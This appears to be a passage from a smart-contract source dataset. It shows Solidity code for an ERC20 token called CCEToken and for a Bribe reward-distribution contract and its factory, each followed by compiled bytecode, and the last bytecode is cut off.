* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract CCEToken is StandardToken {
string public constant name = "CCEToken";
string public constant symbol = "CT";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 10000000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df5780632ff2e9dc14610264578063313ce5671461028f57806366188463146102c057806370a082311461032557806395d89b411461037c578063a9059cbb1461040c578063d73dd62314610471578063dd62ed3e146104d6575b600080fd5b3480156100cb57600080fd5b506100d461054d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610586565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c9610678565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610682565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610a3d565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610a4f565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102cc57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a54565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b50610366600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ce6565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610d2e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d15780820151818401526020810190506103b6565b50505050905090810190601f1680156103fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041857600080fd5b50610457600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d67565b604051808215151515815260200191505060405180910390f35b34801561047d57600080fd5b506104bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f87565b604051808215151515815260200191505060405180910390f35b3480156104e257600080fd5b50610537600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611183565b6040518082815260200191505060405180910390f35b6040805190810160405280600881526020017f434345546f6b656e00000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106d157600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561075c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561079857600080fd5b6107e9826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120a90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061087c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061094d82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a6402540be4000281565b601281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515610b66576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bfa565b610b79838261120a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600281526020017f435400000000000000000000000000000000000000000000000000000000000081525081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610db657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610df257600080fd5b610e43826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120a90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ed6826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061101882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561121857fe5b818303905092915050565b6000818301905082811015151561123657fe5b809050929150505600a165627a7a72305820d11ff1e7767cc53f6ec10a725228f82fe72a224c1774f3f5767a161eac49d7a20029
|
{"success": true, "error": null, "results": {}}
| 2,434 |
0x994e0F91eeF84d64fC1d4E4c283712928915feDD
|
// Sources flattened with hardhat v2.8.4 https://hardhat.org
// File srcBuild/Bribe.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
library Math {
function max(uint a, uint b) internal pure returns (uint) {
return a >= b ? a : b;
}
function min(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
}
interface erc20 {
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint amount) external returns (bool);
function balanceOf(address) external view returns (uint);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
}
interface ve {
function isApprovedOrOwner(address, uint) external view returns (bool);
function ownerOf(uint) external view returns (address);
}
interface IVoter {
function _ve() external view returns (address);
}
// Bribes pay out rewards for a given pool based on the votes that were received from the user (goes hand in hand with BaseV1Gauges.vote())
contract Bribe {
address public immutable factory; // only factory can modify balances (since it only happens on vote())
address public immutable _ve;
uint public constant DURATION = 7 days; // rewards are released over 7 days
uint public constant PRECISION = 10 ** 18;
// default snx staking contract implementation
mapping(address => uint) public rewardRate;
mapping(address => uint) public periodFinish;
mapping(address => uint) public lastUpdateTime;
mapping(address => uint) public rewardPerTokenStored;
mapping(address => mapping(uint => uint)) public lastEarn;
mapping(address => mapping(uint => uint)) public userRewardPerTokenStored;
address[] public rewards;
mapping(address => bool) public isReward;
uint public totalSupply;
mapping(uint => uint) public balanceOf;
/// @notice A checkpoint for marking balance
struct Checkpoint {
uint timestamp;
uint balanceOf;
}
/// @notice A checkpoint for marking reward rate
struct RewardPerTokenCheckpoint {
uint timestamp;
uint rewardPerToken;
}
/// @notice A checkpoint for marking supply
struct SupplyCheckpoint {
uint timestamp;
uint supply;
}
/// @notice A record of balance checkpoints for each account, by index
mapping (uint => mapping (uint => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (uint => uint) public numCheckpoints;
/// @notice A record of balance checkpoints for each token, by index
mapping (uint => SupplyCheckpoint) public supplyCheckpoints;
/// @notice The number of checkpoints
uint public supplyNumCheckpoints;
/// @notice A record of balance checkpoints for each token, by index
mapping (address => mapping (uint => RewardPerTokenCheckpoint)) public rewardPerTokenCheckpoints;
/// @notice The number of checkpoints for each token
mapping (address => uint) public rewardPerTokenNumCheckpoints;
event Deposit(address indexed from, uint tokenId, uint amount);
event Withdraw(address indexed from, uint tokenId, uint amount);
event NotifyReward(address indexed from, address indexed reward, uint amount);
event ClaimRewards(address indexed from, address indexed reward, uint amount);
constructor(address _factory) {
factory = _factory;
_ve = IVoter(_factory)._ve();
}
// simple re-entrancy check
uint internal _unlocked = 1;
modifier lock() {
require(_unlocked == 1);
_unlocked = 2;
_;
_unlocked = 1;
}
/**
* @notice Determine the prior balance for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param tokenId The token of the NFT to check
* @param timestamp The timestamp to get the balance at
* @return The balance the account had as of the given block
*/
function getPriorBalanceIndex(uint tokenId, uint timestamp) public view returns (uint) {
uint nCheckpoints = numCheckpoints[tokenId];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[tokenId][nCheckpoints - 1].timestamp <= timestamp) {
return (nCheckpoints - 1);
}
// Next check implicit zero balance
if (checkpoints[tokenId][0].timestamp > timestamp) {
return 0;
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[tokenId][center];
if (cp.timestamp == timestamp) {
return center;
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return lower;
}
function getPriorSupplyIndex(uint timestamp) public view returns (uint) {
uint nCheckpoints = supplyNumCheckpoints;
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (supplyCheckpoints[nCheckpoints - 1].timestamp <= timestamp) {
return (nCheckpoints - 1);
}
// Next check implicit zero balance
if (supplyCheckpoints[0].timestamp > timestamp) {
return 0;
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
SupplyCheckpoint memory cp = supplyCheckpoints[center];
if (cp.timestamp == timestamp) {
return center;
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return lower;
}
function getPriorRewardPerToken(address token, uint timestamp) public view returns (uint, uint) {
uint nCheckpoints = rewardPerTokenNumCheckpoints[token];
if (nCheckpoints == 0) {
return (0,0);
}
// First check most recent balance
if (rewardPerTokenCheckpoints[token][nCheckpoints - 1].timestamp <= timestamp) {
return (rewardPerTokenCheckpoints[token][nCheckpoints - 1].rewardPerToken, rewardPerTokenCheckpoints[token][nCheckpoints - 1].timestamp);
}
// Next check implicit zero balance
if (rewardPerTokenCheckpoints[token][0].timestamp > timestamp) {
return (0,0);
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
RewardPerTokenCheckpoint memory cp = rewardPerTokenCheckpoints[token][center];
if (cp.timestamp == timestamp) {
return (cp.rewardPerToken, cp.timestamp);
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return (rewardPerTokenCheckpoints[token][lower].rewardPerToken, rewardPerTokenCheckpoints[token][lower].timestamp);
}
function _writeCheckpoint(uint tokenId, uint balance) internal {
uint _timestamp = block.timestamp;
uint _nCheckPoints = numCheckpoints[tokenId];
if (_nCheckPoints > 0 && checkpoints[tokenId][_nCheckPoints - 1].timestamp == _timestamp) {
checkpoints[tokenId][_nCheckPoints - 1].balanceOf = balance;
} else {
checkpoints[tokenId][_nCheckPoints] = Checkpoint(_timestamp, balance);
numCheckpoints[tokenId] = _nCheckPoints + 1;
}
}
function _writeRewardPerTokenCheckpoint(address token, uint reward, uint timestamp) internal {
uint _nCheckPoints = rewardPerTokenNumCheckpoints[token];
if (_nCheckPoints > 0 && rewardPerTokenCheckpoints[token][_nCheckPoints - 1].timestamp == timestamp) {
rewardPerTokenCheckpoints[token][_nCheckPoints - 1].rewardPerToken = reward;
} else {
rewardPerTokenCheckpoints[token][_nCheckPoints] = RewardPerTokenCheckpoint(timestamp, reward);
rewardPerTokenNumCheckpoints[token] = _nCheckPoints + 1;
}
}
function _writeSupplyCheckpoint() internal {
uint _nCheckPoints = supplyNumCheckpoints;
uint _timestamp = block.timestamp;
if (_nCheckPoints > 0 && supplyCheckpoints[_nCheckPoints - 1].timestamp == _timestamp) {
supplyCheckpoints[_nCheckPoints - 1].supply = totalSupply;
} else {
supplyCheckpoints[_nCheckPoints] = SupplyCheckpoint(_timestamp, totalSupply);
supplyNumCheckpoints = _nCheckPoints + 1;
}
}
function rewardsListLength() external view returns (uint) {
return rewards.length;
}
// returns the last time the reward was modified or periodFinish if the reward has ended
function lastTimeRewardApplicable(address token) public view returns (uint) {
return Math.min(block.timestamp, periodFinish[token]);
}
// allows a user to claim rewards for a given token
function getReward(uint tokenId, address[] memory tokens) external lock {
require(ve(_ve).isApprovedOrOwner(msg.sender, tokenId));
for (uint i = 0; i < tokens.length; i++) {
(rewardPerTokenStored[tokens[i]], lastUpdateTime[tokens[i]]) = _updateRewardPerToken(tokens[i]);
uint _reward = earned(tokens[i], tokenId);
lastEarn[tokens[i]][tokenId] = block.timestamp;
userRewardPerTokenStored[tokens[i]][tokenId] = rewardPerTokenStored[tokens[i]];
if (_reward > 0) _safeTransfer(tokens[i], msg.sender, _reward);
emit ClaimRewards(msg.sender, tokens[i], _reward);
}
}
// used by BaseV1Voter to allow batched reward claims
function getRewardForOwner(uint tokenId, address[] memory tokens) external lock {
require(msg.sender == factory);
address _owner = ve(_ve).ownerOf(tokenId);
for (uint i = 0; i < tokens.length; i++) {
(rewardPerTokenStored[tokens[i]], lastUpdateTime[tokens[i]]) = _updateRewardPerToken(tokens[i]);
uint _reward = earned(tokens[i], tokenId);
lastEarn[tokens[i]][tokenId] = block.timestamp;
userRewardPerTokenStored[tokens[i]][tokenId] = rewardPerTokenStored[tokens[i]];
if (_reward > 0) _safeTransfer(tokens[i], _owner, _reward);
emit ClaimRewards(_owner, tokens[i], _reward);
}
}
function rewardPerToken(address token) public view returns (uint) {
if (totalSupply == 0) {
return rewardPerTokenStored[token];
}
return rewardPerTokenStored[token] + ((lastTimeRewardApplicable(token) - Math.min(lastUpdateTime[token], periodFinish[token])) * rewardRate[token] * PRECISION / totalSupply);
}
function batchRewardPerToken(address token, uint maxRuns) external {
(rewardPerTokenStored[token], lastUpdateTime[token]) = _batchRewardPerToken(token, maxRuns);
}
function _batchRewardPerToken(address token, uint maxRuns) internal returns (uint, uint) {
uint _startTimestamp = lastUpdateTime[token];
uint reward = rewardPerTokenStored[token];
if (supplyNumCheckpoints == 0) {
return (reward, _startTimestamp);
}
if (rewardRate[token] == 0) {
return (reward, block.timestamp);
}
uint _startIndex = getPriorSupplyIndex(_startTimestamp);
uint _endIndex = Math.min(supplyNumCheckpoints-1, maxRuns);
for (uint i = _startIndex; i < _endIndex; i++) {
SupplyCheckpoint memory sp0 = supplyCheckpoints[i];
if (sp0.supply > 0) {
SupplyCheckpoint memory sp1 = supplyCheckpoints[i+1];
(uint _reward, uint endTime) = _calcRewardPerToken(token, sp1.timestamp, sp0.timestamp, sp0.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, endTime);
_startTimestamp = endTime;
}
}
return (reward, _startTimestamp);
}
function _calcRewardPerToken(address token, uint timestamp1, uint timestamp0, uint supply, uint startTimestamp) internal view returns (uint, uint) {
uint endTime = Math.max(timestamp1, startTimestamp);
return (((Math.min(endTime, periodFinish[token]) - Math.min(Math.max(timestamp0, startTimestamp), periodFinish[token])) * rewardRate[token] * PRECISION / supply), endTime);
}
function _updateRewardPerToken(address token) internal returns (uint, uint) {
uint _startTimestamp = lastUpdateTime[token];
uint reward = rewardPerTokenStored[token];
if (supplyNumCheckpoints == 0) {
return (reward, _startTimestamp);
}
if (rewardRate[token] == 0) {
return (reward, block.timestamp);
}
uint _startIndex = getPriorSupplyIndex(_startTimestamp);
uint _endIndex = supplyNumCheckpoints-1;
if (_endIndex - _startIndex > 1) {
for (uint i = _startIndex; i < _endIndex-1; i++) {
SupplyCheckpoint memory sp0 = supplyCheckpoints[i];
if (sp0.supply > 0) {
SupplyCheckpoint memory sp1 = supplyCheckpoints[i+1];
(uint _reward, uint _endTime) = _calcRewardPerToken(token, sp1.timestamp, sp0.timestamp, sp0.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, _endTime);
_startTimestamp = _endTime;
}
}
}
SupplyCheckpoint memory sp = supplyCheckpoints[_endIndex];
if (sp.supply > 0) {
(uint _reward,) = _calcRewardPerToken(token, lastTimeRewardApplicable(token), Math.max(sp.timestamp, _startTimestamp), sp.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, block.timestamp);
_startTimestamp = block.timestamp;
}
return (reward, _startTimestamp);
}
function earned(address token, uint tokenId) public view returns (uint) {
uint _startTimestamp = Math.max(lastEarn[token][tokenId], rewardPerTokenCheckpoints[token][0].timestamp);
if (numCheckpoints[tokenId] == 0) {
return 0;
}
uint _startIndex = getPriorBalanceIndex(tokenId, _startTimestamp);
uint _endIndex = numCheckpoints[tokenId]-1;
uint reward = 0;
if (_endIndex - _startIndex > 1) {
for (uint i = _startIndex; i < _endIndex-1; i++) {
Checkpoint memory cp0 = checkpoints[tokenId][i];
Checkpoint memory cp1 = checkpoints[tokenId][i+1];
(uint _rewardPerTokenStored0,) = getPriorRewardPerToken(token, cp0.timestamp);
(uint _rewardPerTokenStored1,) = getPriorRewardPerToken(token, cp1.timestamp);
reward += cp0.balanceOf * (_rewardPerTokenStored1 - _rewardPerTokenStored0) / PRECISION;
}
}
Checkpoint memory cp = checkpoints[tokenId][_endIndex];
(uint _rewardPerTokenStored,) = getPriorRewardPerToken(token, cp.timestamp);
reward += cp.balanceOf * (rewardPerToken(token) - Math.max(_rewardPerTokenStored, userRewardPerTokenStored[token][tokenId])) / PRECISION;
return reward;
}
// This is an external function, but internal notation is used since it can only be called "internally" from BaseV1Gauges
function _deposit(uint amount, uint tokenId) external {
require(msg.sender == factory);
totalSupply += amount;
balanceOf[tokenId] += amount;
_writeCheckpoint(tokenId, balanceOf[tokenId]);
_writeSupplyCheckpoint();
emit Deposit(msg.sender, tokenId, amount);
}
function _withdraw(uint amount, uint tokenId) external {
require(msg.sender == factory);
totalSupply -= amount;
balanceOf[tokenId] -= amount;
_writeCheckpoint(tokenId, balanceOf[tokenId]);
_writeSupplyCheckpoint();
emit Withdraw(msg.sender, tokenId, amount);
}
function left(address token) external view returns (uint) {
if (block.timestamp >= periodFinish[token]) return 0;
uint _remaining = periodFinish[token] - block.timestamp;
return _remaining * rewardRate[token];
}
// used to notify a gauge/bribe of a given reward, this can create griefing attacks by extending rewards
function notifyRewardAmount(address token, uint amount) external lock {
require(amount > 0);
if (rewardRate[token] == 0) _writeRewardPerTokenCheckpoint(token, 0, block.timestamp);
(rewardPerTokenStored[token], lastUpdateTime[token]) = _updateRewardPerToken(token);
if (block.timestamp >= periodFinish[token]) {
_safeTransferFrom(token, msg.sender, address(this), amount);
rewardRate[token] = amount / DURATION;
} else {
uint _remaining = periodFinish[token] - block.timestamp;
uint _left = _remaining * rewardRate[token];
require(amount > _left);
_safeTransferFrom(token, msg.sender, address(this), amount);
rewardRate[token] = (amount + _left) / DURATION;
}
require(rewardRate[token] > 0);
uint balance = erc20(token).balanceOf(address(this));
require(rewardRate[token] <= balance / DURATION, "Provided reward too high");
periodFinish[token] = block.timestamp + DURATION;
if (!isReward[token]) {
isReward[token] = true;
rewards.push(token);
}
emit NotifyReward(msg.sender, token, amount);
}
function _safeTransfer(address token, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
function _safeTransferFrom(address token, address from, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
}
contract BribeFactory {
address public last_gauge;
function createBribe() external returns (address) {
last_gauge = address(new Bribe(msg.sender));
return last_gauge;
}
}
|
0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063730a8bdb1461003b578063d27b9a781461006a575b600080fd5b60005461004e906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b61004e60003360405161007c906100cd565b6001600160a01b039091168152602001604051809103906000f0801580156100a8573d6000803e3d6000fd5b50600080546001600160a01b0319166001600160a01b03929092169182179055919050565b612666806100db8339019056fe60c060405260016010553480156200001657600080fd5b5060405162002666380380620026668339810160408190526200003991620000bd565b6001600160a01b038116608081905260408051638dd598fb60e01b81529051638dd598fb916004808201926020929091908290030181865afa15801562000084573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000aa9190620000bd565b6001600160a01b031660a05250620000ef565b600060208284031215620000d057600080fd5b81516001600160a01b0381168114620000e857600080fd5b9392505050565b60805160a05161252e62000138600039600081816103bb01528181610ca901526114af0152600081816104c801528181610a3e01528181610c6601526113c1015261252e6000f3fe608060405234801561001057600080fd5b50600436106102065760003560e01c80639e2bf22c1161011a578063e6886396116100ad578063f301af421161007c578063f301af4214610559578063f32077231461056c578063f5f8d3651461057f578063f7412baf14610592578063fd314098146105b957600080fd5b8063e68863961461050a578063e8111a1214610512578063f12297771461051b578063f25e55a51461052e57600080fd5b8063aaf5eb68116100e9578063aaf5eb68146104a1578063b66503cf146104b0578063c45a0155146104c3578063da09d19d146104ea57600080fd5b80639e2bf22c14610448578063a28d4c9c1461045b578063a7852afa1461046e578063aa4796521461048157600080fd5b80634d5ce0381161019d57806376f4be361161016c57806376f4be36146103a35780638dd598fb146103b657806399bcc052146103f55780639cc7f708146104085780639ce43f901461042857600080fd5b80634d5ce03814610328578063505897931461035b5780635a45d0521461037b578063638634ee1461039057600080fd5b80632ce9aead116101d95780632ce9aead146102985780633b881999146102b85780633e491d47146102e357806349dcc204146102f657600080fd5b806301316ddf1461020b57806318160ddd146102575780631be052891461026e578063221ca18c14610278575b600080fd5b61023d610219366004612243565b600e6020908152600092835260408084209091529082529020805460019091015482565b604080519283526020830191909152015b60405180910390f35b61026060085481565b60405190815260200161024e565b61026062093a8081565b61026061028636600461226f565b60006020819052908152604090205481565b6102606102a636600461226f565b60026020526000908152604090205481565b6102606102c6366004612243565b600560209081526000928352604080842090915290825290205481565b6102606102f1366004612243565b6105cc565b61023d61030436600461228c565b600a6020908152600092835260408084209091529082529020805460019091015482565b61034b61033636600461226f565b60076020526000908152604090205460ff1681565b604051901515815260200161024e565b6102606103693660046122ae565b600b6020526000908152604090205481565b61038e610389366004612243565b610834565b005b61026061039e36600461226f565b61086c565b6102606103b13660046122ae565b610890565b6103dd7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161024e565b61026061040336600461226f565b6109c2565b6102606104163660046122ae565b60096020526000908152604090205481565b61026061043636600461226f565b60036020526000908152604090205481565b61038e61045636600461228c565b610a33565b61026061046936600461228c565b610b04565b61038e61047c3660046122dd565b610c47565b61026061048f36600461226f565b600f6020526000908152604090205481565b610260670de0b6b3a764000081565b61038e6104be366004612243565b610f87565b6103dd7f000000000000000000000000000000000000000000000000000000000000000081565b6102606104f836600461226f565b60016020526000908152604090205481565b600654610260565b610260600d5481565b61026061052936600461226f565b6112ce565b61026061053c366004612243565b600460209081526000928352604080842090915290825290205481565b6103dd6105673660046122ae565b61138c565b61038e61057a36600461228c565b6113b6565b61038e61058d3660046122dd565b61147f565b61023d6105a03660046122ae565b600c602052600090815260409020805460019091015482565b61023d6105c7366004612243565b611786565b6001600160a01b0382166000818152600460209081526040808320858452825280832054938352600e82528083208380529091528120549091829161061191906119a5565b6000848152600b602052604090205490915061063157600091505061082e565b600061063d8483610b04565b6000858152600b60205260408120549192509061065c906001906123c4565b90506000600161066c84846123c4565b111561077257825b61067f6001846123c4565b811015610770576000878152600a60208181526040808420858552808352818520825180840190935280548352600190810154838501528c865293909252929182906106cc9086906123db565b8152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050600061070b8b8460000151611786565b509050600061071e8c8460000151611786565b509050670de0b6b3a764000061073483836123c4565b856020015161074391906123f3565b61074d9190612412565b61075790876123db565b955050505050808061076890612434565b915050610674565b505b6000868152600a602090815260408083208584528252808320815180830190925280548083526001909101549282019290925291906107b2908a90611786565b506001600160a01b038a1660009081526005602090815260408083208c8452909152902054909150670de0b6b3a7640000906107ef9083906119a5565b6107f88b6